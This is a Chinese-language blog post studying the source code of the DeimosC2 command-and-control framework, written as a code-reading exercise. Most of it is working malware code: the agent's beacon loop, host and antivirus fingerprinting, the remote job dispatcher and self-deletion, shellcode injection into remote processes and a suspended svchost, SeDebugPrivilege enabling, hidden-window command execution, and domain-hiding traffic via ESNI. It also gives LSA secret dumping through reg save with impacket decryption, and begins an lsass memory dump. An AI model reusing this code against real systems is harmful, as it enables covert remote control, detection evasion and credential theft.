Skip to content

deimos-C2代码学习

字数
5296 字
阅读时间
30 分钟
更新日期
4/22/2021

简介

DeimosC2 命令与控制(C2)工具,它利用多种通信方法来控制受到威胁的计算机。 DeimosC2服务器和代理可在Windows,Darwin和Linux上运行并经过测试。

使用

导航图

image-20210326211359344

添加监听器

image-20210326211439679

https域名隐藏,可以指定域前置地址

image-20210326211600816

点击生成agent后过一段时间会生成各种平台的木马

image-20210326211745852

自带gobfuscate混淆

image-20210326211719436

上线后

image-20210326211843393

管理被控端

image-20210326211937587

旁边还有一跳一跳的心跳监控端(看起来很直观 - =)

执行命令

image-20210326212514104

可以多人协作,评论

image-20210326212753163

agent启动过程

可以把”被控端”称作agent,这是agent启动过程的函数。

go
func main() {
    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
    aesKey, _ = base64.StdEncoding.DecodeString(stringPubKey)
    // 获取aesKey

    for {
        agentfunctions.CheckTime(liveHours))
        // 检查是否在指定时间内运行,如果不是会一直sleep到那个时间
        if key == "" {
            connect("getKey", "")
            go connect("init", "")
            // 初始化获取系统信息
        } else {
            go connect("check_in", "")
            // 执行指令
        }
        agentfunctions.SleepDelay(delay, jitter)
        // 抖动延时
        agentfunctions.ShouldIDie(eol)
        // 判断是否销毁
    }
}

第一次启动agent

获取数据的数据结构

//FirstTime Struct
type initialize struct {
    Key         string   //Agent Key
    OS          string   //Current OS
    OSType      string   //Type of Operating System and/or Distro
    OSVers      string   //Version of OS
    AV          []string //AntiVirus Running
    Hostname    string   //Current Machine Name
    Username    string   //Current Username
    LocalIP     string   //Local IP
    AgentPath   string   //Agent Path
    Shellz      []string //Available System Shells
    Pid         int      //Get PID of agent
    IsAdmin     bool     //Is admin user
    IsElevated  bool     //Is elevated on Windows
    ListenerKey string   //Listener that the agent is attached too
}

相关函数

go
//Shell types
const (
    powerShell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
    cmd        = "C:\\Windows\\System32\\cmd.exe"
    zsh        = "/bin/zsh"
    sh         = "/bin/sh"
    bash       = "/bin/bash"
)

//FirstTime is used to initalize an agent
func FirstTime(key string) []byte {
    //Get the current executable path
    agent, err := os.Executable()
    if err != nil {
        ErrHandling(err.Error())
    }
    //Get current user information
    user, err := user.Current()
    if err != nil {
        ErrHandling(err.Error())
    }
    //Get current hostname
    hostname, err := os.Hostname()
    if err != nil {
        ErrHandling(err.Error())
    }
    //Get local ip
    addr, err := net.InterfaceAddrs()
    if err != nil {
        ErrHandling(err.Error())
    }
    var ip string
    for _, a := range addr {
        if ipnet, ok := a.(*net.IPNet); ok &&
            !ipnet.IP.IsLoopback() && !ipnet.IP.IsLinkLocalUnicast() {
            if ipnet.IP.To4() != nil {
                ip = ipnet.IP.String()
            }
        }
    }
    //Get available shellz
    var shellz []string
    if runtime.GOOS == "windows" {
        _, err := os.Stat(powerShell)
        if err != nil {
            ErrHandling(err.Error())
        } else {
            shellz = append(shellz, powerShell)
        }
        _, err = os.Stat(cmd)
        if err != nil {
            ErrHandling(err.Error())
        } else {
            shellz = append(shellz, cmd)
        }
    } else if runtime.GOOS == "linux" || runtime.GOOS == "darwin" {
        _, err := os.Stat(bash)
        if err != nil {
            ErrHandling(err.Error())
        } else {
            shellz = append(shellz, bash)
        }
        _, err = os.Stat(zsh)
        if err != nil {
            ErrHandling(err.Error())
        } else {
            shellz = append(shellz, zsh)
        }
        _, err = os.Stat(sh)
        if err != nil {
            ErrHandling(err.Error())
        } else {
            shellz = append(shellz, sh)
        }
    }

    admin, elevated := privileges.AdminOrElevated()
    osType, osVers, av := fingerprint.FingerPrint()

    //Place all that information into a JSON object
    systemInfo := initialize{key, runtime.GOOS, osType, osVers, av, hostname, user.Username, ip, agent, shellz, os.Getpid(), admin, elevated, ""}
    msg, err := json.Marshal(systemInfo)
    if err != nil {
        ErrHandling(err.Error())

    }
    cwd, _ = os.Getwd()
    return msg
}
go
//SleepDelay sleeps between each loop of the agent with a jitter % to make it less patterned
func SleepDelay(delay float64, jitter float64) {
    minSleep := delay - (delay * jitter)
    maxSleep := delay + (delay * jitter)
    if minSleep < 3 {
        minSleep = 2
        maxSleep += 2
    }
    time.Sleep(time.Duration(r.Intn(int((maxSleep-minSleep))+int(minSleep))) * time.Second)
}

检查时间在指定范围

go
var liveHours = "05:00-21:00"    //该时间可以运行,格式:05:00-21:00

//CheckTime查看当前时间是否在允许的时间之间,如果直到当前时间不休眠 
func CheckTime(liveHours string) {
    if liveHours != "" {
        allowedTime := strings.Split(liveHours, "-")
        startTime := strings.Split(allowedTime[0], ":")
        endTime := strings.Split(allowedTime[1], ":")
        current := time.Now()
        startHour, _ := strconv.Atoi(startTime[0])
        startMin, _ := strconv.Atoi(startTime[1])
        endHour, _ := strconv.Atoi(endTime[0])
        endMin, _ := strconv.Atoi(endTime[1])
        start := time.Date(current.Year(), current.Month(), current.Day(), startHour, startMin, current.Second(), current.Nanosecond(), current.Location())
        end := time.Date(current.Year(), current.Month(), current.Day(), endHour, endMin, current.Second(), current.Nanosecond(), current.Location())
        if current.After(start) && current.Before(end) {
            // 判断 start>current && current < end 则上线,return就行
            return
        } else {
            time.Sleep(start.Sub(current))
            // 取时间差 start - current,睡眠
            return
        }
    }
}

传递指令

指令格式

go
//AgentJob is the standard struct for all jobs
type AgentJob struct {
    AgentKey  string   //Key of the agent to create the job for
    JobType   string   //Type of job
    Arguments []string //Job arguments adhering to the above formats
}

根据这个格式来执行命令

go
func jobExecute(j []agentfunctions.AgentJob) {
    for _, value := range j {
        switch value.JobType {
        case "shell":
            go agentfunctions.Shell(value.Arguments, false)
        case "download":
            go agentfunctions.Download(value.Arguments[0])
        case "upload":
            go agentfunctions.Upload(value.Arguments[0], value.Arguments[1], value.Arguments[2])
        case "fileBrowser":
            go agentfunctions.AgentFileBrowsers(value.Arguments[0])
        case "options":
            go options(value.Arguments[0], value.Arguments[1])
        case "shellInject":
            go shellinject.ShellInject(value.Arguments[0], value.Arguments[1])
        case "module":
            go execMod(value.Arguments[0], value.Arguments[1], value.Arguments[2])
        case "reinit":
            go connect("init", "")
        case "kill":
            agentfunctions.Kill()
            connect("check_in", "")
            selfdestruction.SelfDelete()
            os.Exit(0)
        }
    }
}

agent传输协议

deimos支持的协议 Supported Agents

  • TCP
  • HTTPS
  • DoH (DNS over HTTPS)
    • agent通过访问https://dns.google.com/resolve?name=xxx.com&type={type}&cd=fales来获取数据
  • QUIC
  • Pivot over TCP

域名隐藏

其中自带一个域名隐藏的方案,利用cloudflare.com,相关原理参考SixGenInc/Noctilucent: Using TLS 1.3 to evade censors, bypass network defenses, and blend in with the noise (github.com)

go
// 解析 cloudflare ensi
esniKeysBytes, err := QueryESNIKeysForHostDoH("cloudflare.com", true)
if err != nil {
    fmt.Println("[E] Failed to retrieve ESNI keys for host via DoH: %s", err)
}
esnikeys, err := tls.ParseESNIKeys(esniKeysBytes)
if err != nil {
    fmt.Println("[E] Failed to parse ESNI keys: %s", err)
}
// 设置我们访问时的tls设置
tlsConfig := &tls.Config{
    InsecureSkipVerify: true,
    ClientESNIKeys:     esnikeys,
    MinVersion:         tls.VersionTLS13, // Force TLS 1.3
    MaxVersion:         tls.VersionTLS13,
    ESNIServerName:     actualDomain,
    PreserveSNI:        true,
    ServerName:         frontDomain
}
httpClient = &http.Client{
    Transport: &http.Transport{
        DialTLS: func(network, addr string) (net.Conn, error) {
            conn, err = tls.Dial("tcp", host+":"+port, tlsConfig)
            return conn, err
        },
    },
}
// 发送请求
r, err := httpClient.Post(("https://" + actualDomain + ":" + port + URL), "application/json", bytes.NewBuffer(someJSON))

真实地址放到sni上,伪造的地址放到esni server上。实际访问这个伪造的地址就可以了。

这个方法已经被cloudflare修复了,不再允许ensisni同时使用,同时国内也禁用ensi。但如果有其他cdn厂商支持这个的话也可以。

函数记录

记录一些可能会有用的函数

isadmin

判断是否是管理员账户,以及是否提升

isadmin_linux.go

go
//AdminOrElevated checks to see if the user is admin and if it is elevated
func AdminOrElevated() (elevated bool, admin bool) {
    user, err := user.Current()
    if err != nil {
        panic(err)
    }

    userID := user.Uid

    if userID == "0" {
        admin = true
    } else {
        admin = false
    }

    elevated = false

    return elevated, admin
}

isadmin_macos.go

go
//AdminOrElevated checks to see if the user is admin and if it is elevated
func AdminOrElevated() (elevated bool, admin bool) {

    user, err := user.Current()
    if err != nil {
        panic(err)
    }

    userID := user.Uid

    if userID == "0" {
        admin = true
    } else {
        admin = false
    }

    elevated = false
    return elevated, admin
}

isadmin_windows.go

go
// +build windows

package privileges

import (
    "golang.org/x/sys/windows"
)

//Code concept from https://github.com/BishopFox/sliver/blob/8b617232a64c68fbe256bf2d394d6ee886ce43af/sliver/priv/priv_windows.go#L50

//SePrivEnable will check to see if the process has SeDebugMode set or elevate it if not
func SePrivEnable() {
    var tokenHandle windows.Token
    prcHandle, err := windows.GetCurrentProcess()
    if err != nil {
        //logging.Logger.Println(err)
    }

    windows.OpenProcessToken(
        prcHandle,                       // HANDLE Process Handle
        windows.TOKEN_ADJUST_PRIVILEGES, // DWORD Desired Access
        &tokenHandle,                    // PHANDLE TokenHandle
    )

    /*
        typedef struct _LUID {
          DWORD LowPart;
          LONG  HighPart;
        } LUID, *PLUID;

    */
    var luid windows.LUID // Describes a local identifier for an adapter struct above

    /*
        BOOL LookupPrivilegeValueW(
          LPCWSTR lpSystemName,
          LPCWSTR lpName,
          PLUID   lpLuid
        );
    */
    err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr("SeDebugPrivilege"), &luid)
    if err != nil {
        //logging.Logger.Println("LookupPrivilegeValueW Failed: ", err)
    }

    privilege := windows.Tokenprivileges{}
    privilege.PrivilegeCount = 1
    privilege.Privileges[0].Luid = luid
    privilege.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED

    /*
        BOOL AdjustTokenPrivileges(
          HANDLE            TokenHandle,
          BOOL              DisableAllPrivileges,
          PTOKEN_PRIVILEGES NewState,
          DWORD             BufferLength,
          PTOKEN_PRIVILEGES PreviousState,
          PDWORD            ReturnLength
        );
    */
    err = windows.AdjustTokenPrivileges(tokenHandle, false, &privilege, 0, nil, nil)
    if err != nil {
        //logging.Logger.Println("AdjustTokenPrivileges Failed: ", err)
    }
}

//Original code from https://coolaj86.com/articles/golang-and-windows-and-admins-oh-my/

//AdminOrElevated checks to see if the user is admin and if it is elevated
func AdminOrElevated() (elevated bool, admin bool) {
    var sid *windows.SID

    err := windows.AllocateAndInitializeSid(
        &windows.SECURITY_NT_AUTHORITY,
        2,
        windows.SECURITY_BUILTIN_DOMAIN_RID,
        windows.DOMAIN_ALIAS_RID_ADMINS,
        0, 0, 0, 0, 0, 0,
        &sid)
    if err != nil {
        //logging.Logger.Println("SID Error: %s", err)
    }

    token := windows.GetCurrentProcessToken()

    member, err := token.IsMember(sid)
    if err != nil {
        //logging.Logger.Println("Token Membership Error: %s", err)
    }

    if token.IsElevated() == true {
        elevated = true
    } else {
        elevated = false
    }

    if member == true {
        admin = true
    } else {
        admin = false
    }

    return elevated, admin
}

shellcode注入

shellcode_linux.go

go
import (
    "encoding/hex"
    "runtime"
    "syscall"
    "unsafe"
)

//GOT FROM SLIVER SO WE NEED TO CHANGE AND MAKE OUR OWN
func getPage(p uintptr) []byte {
    return (*(*[0xFFFFFF]byte)(unsafe.Pointer(p & ^uintptr(syscall.Getpagesize()-1))))[:syscall.Getpagesize()]
}

//ShellInject for Linux
func ShellInject(data string, process string) {

    sc, _ := hex.DecodeString(data)

    //logging.Logger.Println("shellcode is :", sc)
    //logging.Logger.Println("Process is :", process)

    //GOT FROM SLIVER SO WE NEED TO CHANGE AND MAKE OUR OWN
    dataAddr := uintptr(unsafe.Pointer(&sc[0]))
    page := getPage(dataAddr)
    syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
    dataPtr := unsafe.Pointer(&sc)
    funcPtr := *(*func())(unsafe.Pointer(&dataPtr))
    runtime.LockOSThread()
    defer runtime.UnlockOSThread()
    go func(fPtr func()) {
        fPtr()
    }(funcPtr)

}

shellcode_windows.go

go
import (
    "encoding/hex"
    "strconv"
    "syscall"
    "unsafe"
)

//ShellInject for Windows
//The data variable must be in a hex format
func ShellInject(data string, process string) {
    //logging.Logger.Println("start inject")
    //logging.Logger.Println(data[0:10])

    sc, _ := hex.DecodeString(data)
    //sc := data
    //logging.Logger.Println("Made it to ShellInject")
    //logging.Logger.Println(sc[0:10])
    //logging.Logger.Println(len(sc))

    //If a PID was passed then execute the shellcode into that
    if process != "" {

        proc, _ := strconv.ParseUint(process, 10, 32)
        pid := uint32(proc)

        kernel32 := syscall.NewLazyDLL("kernel32.dll")
        ntdll := syscall.NewLazyDLL("ntdll.dll")
        VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
        VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
        WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
        CloseHandle := kernel32.NewProc("CloseHandle")
        RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
        WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")

        pHandle, _ := syscall.OpenProcess(0x0002|0x0008|0x0020|0x0400|0x0010, false, pid)
        addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
        _, _, _ = WriteProcessMemory.Call(uintptr(pHandle), addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
        _, _, _ = VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), 0x10)
        var tHandle uintptr
        _, _, _ = RtlCreateUserThread.Call(uintptr(pHandle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0)
        _, _, _ = WaitForSingleObject.Call(tHandle, syscall.INFINITE)
        _, _, _ = CloseHandle.Call(uintptr(pHandle))

        //This is just basic process injection on a new binary
    } else {

        const MEM_COMMIT = 0x1000
        const MEM_RESERVE = 0x2000
        const PAGE_EXECUTE_READWRITE = 0x40
        const PROCESS_CREATE_THREAD = 0x0002
        const PROCESS_QUERY_INFORMATION = 0x0400
        const PROCESS_VM_OPERATION = 0x0008
        const PROCESS_VM_WRITE = 0x0020
        const PROCESS_VM_READ = 0x0010
        const CREATE_SUSPENDED = 0x00000004

        var K32 = syscall.MustLoadDLL("kernel32.dll")
        var VirtualAlloc = K32.MustFindProc("VirtualAlloc")
        var VirtualAllocEx = K32.MustFindProc("VirtualAllocEx")
        var CreateRemoteThread = K32.MustFindProc("CreateRemoteThread")
        var WriteProcessMemory = K32.MustFindProc("WriteProcessMemory")
        var OpenProcess = K32.MustFindProc("OpenProcess")

        //logging.Logger.Println("Creating a new Process")
        //Process to create
        arg := syscall.StringToUTF16Ptr("c:\\windows\\system32\\svchost.exe")
        var sI syscall.StartupInfo
        var pI syscall.ProcessInformation

        //Create it paused
        // BOOL CreateProcessA(
        //     LPCSTR                lpApplicationName,
        //     LPSTR                 lpCommandLine,
        //     LPSECURITY_ATTRIBUTES lpProcessAttributes,
        //     LPSECURITY_ATTRIBUTES lpThreadAttributes,
        //     BOOL                  bInheritHandles,
        //     DWORD                 dwCreationFlags,
        //     LPVOID                lpEnvironment,
        //     LPCSTR                lpCurrentDirectory,
        //     LPSTARTUPINFOA        lpStartupInfo,
        //     LPPROCESS_INFORMATION lpProcessInformation
        //   );
        err := syscall.CreateProcess(nil, arg, nil, nil, true, CREATE_SUSPENDED, nil, nil, &sI, &pI)

        if err != nil {
            //logging.Logger.Println("Cannot create the process")
            return
        }

        //logging.Logger.Println("Created.. Injecting")

        Shellcode := sc

        L_Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
        //TODO FIGURE OUT HOW TO GET RID OF THIS
        L_AddrPtr := (*[99000000]byte)(unsafe.Pointer(L_Addr))
        for i := 0; i < len(Shellcode); i++ {
            L_AddrPtr[i] = Shellcode[i]
        }

        var F int = 0
        Proc, _, _ := OpenProcess.Call(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, uintptr(F), uintptr(pI.ProcessId))
        if Proc == 0 {
            //logging.Logger.Println("[!] ERROR : Can't Open Remote Process.")
            return
        }
        R_Addr, _, _ := VirtualAllocEx.Call(Proc, uintptr(F), uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
        if R_Addr == 0 {
            //logging.Logger.Println("[!] ERROR : Can't Allocate Memory On Remote Process.")
            return
        }
        WPMS, _, _ := WriteProcessMemory.Call(Proc, R_Addr, L_Addr, uintptr(len(Shellcode)), uintptr(F))
        if WPMS == 0 {
            //logging.Logger.Println("[!] ERROR : Can't Write To Remote Process.")
            return
        }

        //logging.Logger.Println(R_Addr)

        CRTS, _, _ := CreateRemoteThread.Call(Proc, uintptr(F), 0, R_Addr, uintptr(F), 0, uintptr(F))
        if CRTS == 0 {
            //logging.Logger.Println("[!] ERROR : Can't Create Remote Thread.")
            return
        }

        return
    }
}

shell执行

exec_both.go

go
import "os/exec"

//ShellExecute will execute the commands passed and return the byte result
func ShellExecute(data []string, cwd string) []byte {
    cmd := exec.Command(data[0], data[1:]...)
    cmd.Dir = cwd
    result, err := cmd.Output()
    if err != nil {
        return []byte(err.Error())
    }
    return result
}

exec_windows.go

go
import (
    "os/exec"
    "syscall"
)

//ShellExecute will execute the commands passed and return the byte result
func ShellExecute(data []string, cwd string) []byte {
    cmd := exec.Command(data[0], data[1:]...)
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    cmd.Dir = cwd
    result, err := cmd.Output()
    if err != nil {
        return []byte(err.Error())
    }
    return result
}

自删除

kill_linux.go

go
import (
    "os"
)

//SelfDelete will delete the agent when called
func SelfDelete() {
    path, _ := os.Getwd()
    fullPath := path + "/" + os.Args[0]
    err := os.Remove(fullPath)
    if err != nil {
        //logging.Logger.Println(err)
    }
}

kill_macos.go

go
import (
    "os"
)

//SelfDelete will delete the agent when called
func SelfDelete() {
    path, _ := os.Getwd()
    fullPath := path + "/" + os.Args[0]
    err := os.Remove(fullPath)
    if err != nil {
        //logging.Logger.Println(err)
    }
}

kill_windows.go

go
import (
    "os"
    "syscall"
)

//SelfDelete will delete the agent when called
func SelfDelete() {
    var sI syscall.StartupInfo
    var pI syscall.ProcessInformation
    path, _ := os.Getwd()
    comspec := os.Getenv("ComSpec")
    //logging.Logger.Println("Deleting agent: ", os.Args[0])

    argv := syscall.StringToUTF16Ptr(comspec + " /C del " + path + "\\" + os.Args[0])

    //logging.Logger.Println("Command is: ", comspec+" /C del "+path+"\\"+os.Args[0])
    err := syscall.CreateProcess(nil, argv, nil, nil, true, 0, nil, nil, &sI, &pI)
    if err != nil {
        //logging.Logger.Println("Couldn't self destruct because: ", err.Error())
    }
}

系统信息

fingerprint_linux.go

go
import (
    "os"
    "os/exec"
    "strings"
)

//FingerPrint will get the version of the Operating System
func FingerPrint() (string, string, []string) {
    //Setting these higher as they will be in if/else statements due to checking for android
    var osType string
    var osVers string

    //First we need to check if the Linux system is Android or not
    if _, err := os.Stat("/system/build.prop"); err == nil {
        osType = "Android"
        // Using getprop ro.build.version.release to get version of Android
        cmd := exec.Command("getprop", "ro.build.version.release")
        out, err := cmd.CombinedOutput()
        if err != nil {
            osVers = err.Error()
        }
        osVers = strings.TrimSpace(string(out))
    } else if os.IsNotExist(err) {
        //Getting Distro name
        cmd := exec.Command("/bin/bash", "-c", "awk -F'=' '/^ID=/ {print $2}' /etc/os-release | tr -d '\"'")
        outType, err := cmd.CombinedOutput()
        if err != nil {
            osType = err.Error()
        }
        osType = string(outType)

        //Getting Distro Version
        cmd1 := exec.Command("/bin/bash", "-c", "awk -F'=' '/^VERSION_ID=/ {print $2}' /etc/os-release | tr -d '\"'")
        outVers, err := cmd1.CombinedOutput()
        if err != nil {
            osVers = err.Error()
        }
        osVers = string(outVers)

    } else {
        osType = "No Idea!"
        osVers = "Couldn't Get!"
    }

    //Future check for AV on Linux
    var av []string
    av = append(av, "null")

    return osType, osVers, av
}

返回的系统类型,系统版本,和杀毒列表

fingerprint_mac.go

go
//FingerPrint will get the version of the Operating System
func FingerPrint() (string, string, []string) {
    var av []string
    result := map[string]interface{}{}
    av = append(av, "null")

    pListFile, err := os.Open("/System/Library/CoreServices/SystemVersion.plist")
    if err != nil {
        //logging.Logger.Println(err)
    }
    defer pListFile.Close()
    decoder := xml.NewDecoder(pListFile)
    var workingKey string
    for {
        token, _ := decoder.Token()
        if token == nil {
            break
        }
        switch start := token.(type) {
        case xml.StartElement:
            switch start.Name.Local {
            case "key":
                var k string
                err := decoder.DecodeElement(&k, &start)
                if err != nil {
                    //logging.Logger.Println(err.Error())
                }
                workingKey = k
            case "string":
                var s string
                err := decoder.DecodeElement(&s, &start)
                if err != nil {
                    //logging.Logger.Println(err.Error())
                }
                result[workingKey] = s
                workingKey = ""
            }
        }

    }
    return result["ProductName"].(string), result["ProductVersion"].(string), av
}

fingerprint_windows.go

go
import (
    "strconv"
    "strings"
    "syscall"
    "unsafe"

    "golang.org/x/sys/windows/registry"
)

//Using code from https://github.com/mitchellh/go-ps/blob/4fdf99ab29366514c69ccccddab5dc58b8d84062/process_windows.go to conduct process searching
//Removed import for obfuscation reasons

// Process is the generic interface that is implemented on every platform
// and provides common operations for processes.
type process interface {
    // Pid is the process ID for this process.
    Pid() int

    // PPid is the parent process ID for this process.
    PPid() int

    // Executable name running this process. This is not a path to the
    // executable.
    Executable() string
}

// Windows API functions
var (
    modKernel32                  = syscall.NewLazyDLL("kernel32.dll")
    procCloseHandle              = modKernel32.NewProc("CloseHandle")
    procCreateToolhelp32Snapshot = modKernel32.NewProc("CreateToolhelp32Snapshot")
    procProcess32First           = modKernel32.NewProc("Process32FirstW")
    procProcess32Next            = modKernel32.NewProc("Process32NextW")
)

// Some constants from the Windows API
const (
    ERROR_NO_MORE_FILES = 0x12
    MAX_PATH            = 260
)

// PROCESSENTRY32 is the Windows API structure that contains a process's
// information.
type PROCESSENTRY32 struct {
    Size              uint32
    CntUsage          uint32
    ProcessID         uint32
    DefaultHeapID     uintptr
    ModuleID          uint32
    CntThreads        uint32
    ParentProcessID   uint32
    PriorityClassBase int32
    Flags             uint32
    ExeFile           [MAX_PATH]uint16
}

// WindowsProcess is an implementation of Process for Windows.
type WindowsProcess struct {
    pid  int
    ppid int
    exe  string
}

func (p *WindowsProcess) Pid() int {
    return p.pid
}

func (p *WindowsProcess) PPid() int {
    return p.ppid
}

func (p *WindowsProcess) Executable() string {
    return p.exe
}

func newWindowsProcess(e *PROCESSENTRY32) *WindowsProcess {
    // Find when the string ends for decoding
    end := 0
    for {
        if e.ExeFile[end] == 0 {
            break
        }
        end++
    }

    return &WindowsProcess{
        pid:  int(e.ProcessID),
        ppid: int(e.ParentProcessID),
        exe:  syscall.UTF16ToString(e.ExeFile[:end]),
    }
}

func findProcess(pid int) process {
    ps := processes()

    for _, p := range ps {
        if p.Pid() == pid {
            return p
        }
    }

    return nil
}

func processes() []process {
    handle, _, _ := procCreateToolhelp32Snapshot.Call(
        0x00000002,
        0)
    if handle < 0 {
        return nil
    }
    defer procCloseHandle.Call(handle)

    var entry PROCESSENTRY32
    entry.Size = uint32(unsafe.Sizeof(entry))
    ret, _, _ := procProcess32First.Call(handle, uintptr(unsafe.Pointer(&entry)))
    if ret == 0 {
        return nil
    }

    results := make([]process, 0, 50)
    for {
        results = append(results, newWindowsProcess(&entry))

        ret, _, _ := procProcess32Next.Call(handle, uintptr(unsafe.Pointer(&entry)))
        if ret == 0 {
            break
        }
    }

    return results
}

//End of https://github.com/mitchellh/go-ps code

//FingerPrint will get the version of the Operating System - This case call Windows API GetVersion
func FingerPrint() (string, string, []string) {

    //Get OS Vers (e.g. 7 or 10)
    k, err := registry.OpenKey(registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
    if err != nil {
        //logging.Logger.Println(err.Error())
    }
    defer k.Close()

    osVers, _, err := k.GetIntegerValue("CurrentMajorVersionNumber")
    if err != nil {
        //logging.Logger.Println(err.Error())
    }

    //Get OS Type (Pro vs Enterprise)
    pn, _, err := k.GetStringValue("ProductName")
    if err != nil {
        //logging.Logger.Println(err.Error())
    }
    osType := lastString(strings.Split(pn, " "))

    //Get AV
    //Can add to this by adding to the switch case for any other type of AV you want to find
    var av []string
    p := processes()
    for _, p1 := range p {
        switch {
        case p1.Executable() == "cb.exe":
            av = append(av, "CB")
        case p1.Executable() == "CylanceSvc.exe":
            av = append(av, "Cylance")
        }
    }
    return osType, strconv.FormatUint(osVers, 10), av
}

func lastString(ss []string) string {
    return ss[len(ss)-1]
}

屏幕截图

调用的这个库github.com/kbinani/screenshot,支持多个操作系统的屏幕截图,下这个库的原理是底层通过c来调用每个系统的内核函数实现的。

凭证dump

lsadump

LSA是Windows系统本地安全认证的模块。它会存储用户登录其他系统和服务用户名和密码,如VPN网络连接、ADSL网络连接、FTP服务、Web服务。通过搜集这些信息,便于对服务器进行渗透测试。

需要管理员权限,先提升到debug权限

go
func SePrivEnable() {
    var tokenHandle windows.Token
    prcHandle, err := windows.GetCurrentProcess()
    if err != nil {
        //logging.Logger.Println(err)
    }

    windows.OpenProcessToken(
        prcHandle,                       // HANDLE Process Handle
        windows.TOKEN_ADJUST_PRIVILEGES, // DWORD Desired Access
        &tokenHandle,                    // PHANDLE TokenHandle
    )

    /*
        typedef struct _LUID {
          DWORD LowPart;
          LONG  HighPart;
        } LUID, *PLUID;

    */
    var luid windows.LUID // Describes a local identifier for an adapter struct above

    /*
        BOOL LookupPrivilegeValueW(
          LPCWSTR lpSystemName,
          LPCWSTR lpName,
          PLUID   lpLuid
        );
    */
    err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr("SeDebugPrivilege"), &luid)
    if err != nil {
        //logging.Logger.Println("LookupPrivilegeValueW Failed: ", err)
    }

    privilege := windows.Tokenprivileges{}
    privilege.PrivilegeCount = 1
    privilege.Privileges[0].Luid = luid
    privilege.Privileges[0].Attributes = windows.SE_PRIVILEGE_ENABLED

    /*
        BOOL AdjustTokenPrivileges(
          HANDLE            TokenHandle,
          BOOL              DisableAllPrivileges,
          PTOKEN_PRIVILEGES NewState,
          DWORD             BufferLength,
          PTOKEN_PRIVILEGES PreviousState,
          PDWORD            ReturnLength
        );
    */
    err = windows.AdjustTokenPrivileges(tokenHandle, false, &privilege, 0, nil, nil)
    if err != nil {
        //logging.Logger.Println("AdjustTokenPrivileges Failed: ", err)
    }
}

接着用注册表导出文件即可

go
cmdName := "cmd.exe"
sysFile := path.Join("C:", "Windows", "system")
secFile := path.Join("C:", "Windows", "security")

cmdArgs := []string{"/c", "reg.exe save HKLM\\SYSTEM " + sysFile}
cmd := exec.Command(cmdName, cmdArgs...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Run()

cmdArgs2 := []string{"/c", "reg.exe save HKLM\\SECURITY " + secFile}
cmd2 := exec.Command(cmdName, cmdArgs2...)
cmd2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd2.Run()

sysData, err := ioutil.ReadFile(sysFile)
if err != nil {
    logging.Logger.Println(err)
}

secData, err := ioutil.ReadFile(secFile)
if err != nil {
    logging.Logger.Println(err)
}

python解密

python
import sys
from impacket.examples.secretsdump import LocalOperations, LSASecrets
from impacket import winregistry
from binascii import hexlify, unhexlify
from six import b
import json

def main(sysF, secF):

    bootkey = getBootKey(sysF)

    #Borrowed Code from https://github.com/byt3bl33d3r/CrackMapExec/blob/48fd338d228f6589928d5e7922df4c7cd240a287/cme/protocols/smb.py#L848
    #Changed to save LSA Secrets and cached creds to JSON format
    def add_lsa_secret(secret):
        add_lsa_secret.secrets += 1
        lsaName, lsaHash = secret.split(':', 1)
        secdict = {"LSAName": lsaName, "LSAHash": lsaHash}
        jsonFormat = json.dumps(secdict)
        print(jsonFormat)
    add_lsa_secret.secrets = 0

    LSA = LSASecrets(secF, bootkey, remoteOps=None, isRemote=False, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))

    LSA.dumpCachedHashes()
    LSA.dumpSecrets()

# From Impacket https://github.com/SecureAuthCorp/impacket/blob/69fee03fd8c120ec7ed0b1e630f7dcc5780fa3f9/impacket/examples/secretsdump.py#L735
def getBootKey(system):
        # Local Version whenever we are given the files directly
        bootKey = b''
        tmpKey = b''
        winreg = winregistry.Registry(system, False)
        # We gotta find out the Current Control Set
        currentControlSet = winreg.getValue('\\Select\\Current')[1]
        currentControlSet = "ControlSet%03d" % currentControlSet
        for key in ['JD', 'Skew1', 'GBG', 'Data']:
            ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
            digit = ans[:16].decode('utf-16le')
            tmpKey = tmpKey + b(digit)

        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]

        tmpKey = unhexlify(tmpKey)

        for i in range(len(tmpKey)):
            bootKey += tmpKey[transforms[i]:transforms[i] + 1]

        return bootKey


if __name__ == "__main__":
    main(sys.argv[1], sys.argv[2])

minidump

用于dump指定进程内存,一般用于dumplsass进程(它用于本地安全和登陆策略)中存储的明文登录密码

go
//DllOptions is used for passed variables to DLLS
type DllOptions struct {
    Options []string
}

var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var procOpenProcess = kernel32.NewProc("OpenProcess")
var procCreateFileW = kernel32.NewProc("CreateFileW")
var procCloseHandle = kernel32.NewProc("CloseHandle")

var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
